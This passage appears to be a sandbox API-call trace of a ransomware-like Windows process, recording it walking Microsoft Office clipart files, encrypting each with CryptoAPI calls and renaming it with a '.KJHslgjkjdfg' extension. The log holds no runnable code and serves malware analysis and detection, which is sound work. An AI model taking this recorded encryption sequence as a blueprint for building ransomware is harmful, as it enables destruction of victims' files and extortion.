pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.708] GetProcessHeap () returned 0x2ef0000 [0216.708] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.708] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.708] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.708] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.709] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.709] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.709] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.709] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.709] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.709] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.709] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xbd8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xbd8, lpOverlapped=0x0) returned 1 [0216.709] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xbe0) returned 1 [0216.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.709] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xbe0, lpOverlapped=0x0) returned 1 [0216.710] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.710] SetEndOfFile (hFile=0x130) returned 1 [0216.711] GetProcessHeap () returned 0x2ef0000 [0216.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.711] GetProcessHeap () returned 0x2ef0000 [0216.711] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.kjhslgjkjdfg")) returned 1 [0216.713] CloseHandle (hObject=0x130) returned 1 [0216.713] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02386_.WMF", cAlternateFileName="")) returned 1 [0216.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.714] GetProcessHeap () returned 0x2ef0000 [0216.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.714] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.717] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.717] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.717] GetProcessHeap () returned 0x2ef0000 [0216.717] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.717] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.717] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.717] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.718] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.718] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.718] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.718] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.718] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.718] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.718] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x948, lpOverlapped=0x0) returned 1 [0216.718] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x950, dwBufLen=0x950 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x950) returned 1 [0216.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.718] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x950, lpOverlapped=0x0) returned 1 [0216.719] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.719] SetEndOfFile (hFile=0x130) returned 1 [0216.721] GetProcessHeap () returned 0x2ef0000 [0216.721] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.721] GetProcessHeap () returned 0x2ef0000 [0216.721] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.kjhslgjkjdfg")) returned 1 [0216.723] CloseHandle (hObject=0x130) returned 1 [0216.723] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02388_.WMF", cAlternateFileName="")) returned 1 [0216.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.725] GetProcessHeap () returned 0x2ef0000 [0216.725] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.725] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.725] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.727] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.727] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.727] GetProcessHeap () returned 0x2ef0000 [0216.727] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.727] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.727] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.727] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.727] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.727] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.728] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.728] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.728] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.728] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.728] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc84, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc84, lpOverlapped=0x0) returned 1 [0216.728] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc90, dwBufLen=0xc90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc90) returned 1 [0216.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.728] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc90, lpOverlapped=0x0) returned 1 [0216.728] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.728] SetEndOfFile (hFile=0x130) returned 1 [0216.731] GetProcessHeap () returned 0x2ef0000 [0216.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.731] GetProcessHeap () returned 0x2ef0000 [0216.731] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.kjhslgjkjdfg")) returned 1 [0216.733] CloseHandle (hObject=0x130) returned 1 [0216.733] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02389_.WMF", cAlternateFileName="")) returned 1 [0216.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.734] GetProcessHeap () returned 0x2ef0000 [0216.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.734] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.735] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.737] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.737] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.737] GetProcessHeap () returned 0x2ef0000 [0216.737] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.737] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.737] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.737] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.737] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.737] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.738] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.738] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.738] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb2c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb2c, lpOverlapped=0x0) returned 1 [0216.738] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb30, dwBufLen=0xb30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb30) returned 1 [0216.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.738] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb30, lpOverlapped=0x0) returned 1 [0216.738] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.738] SetEndOfFile (hFile=0x130) returned 1 [0216.741] GetProcessHeap () returned 0x2ef0000 [0216.741] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.741] GetProcessHeap () returned 0x2ef0000 [0216.741] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.kjhslgjkjdfg")) returned 1 [0216.743] CloseHandle (hObject=0x130) returned 1 [0216.743] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe64, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02390_.WMF", cAlternateFileName="")) returned 1 [0216.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.744] GetProcessHeap () returned 0x2ef0000 [0216.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.744] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.747] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.747] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.747] GetProcessHeap () returned 0x2ef0000 [0216.747] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.747] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.747] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.747] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.747] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.748] WriteFile (in: hFile=0x130, 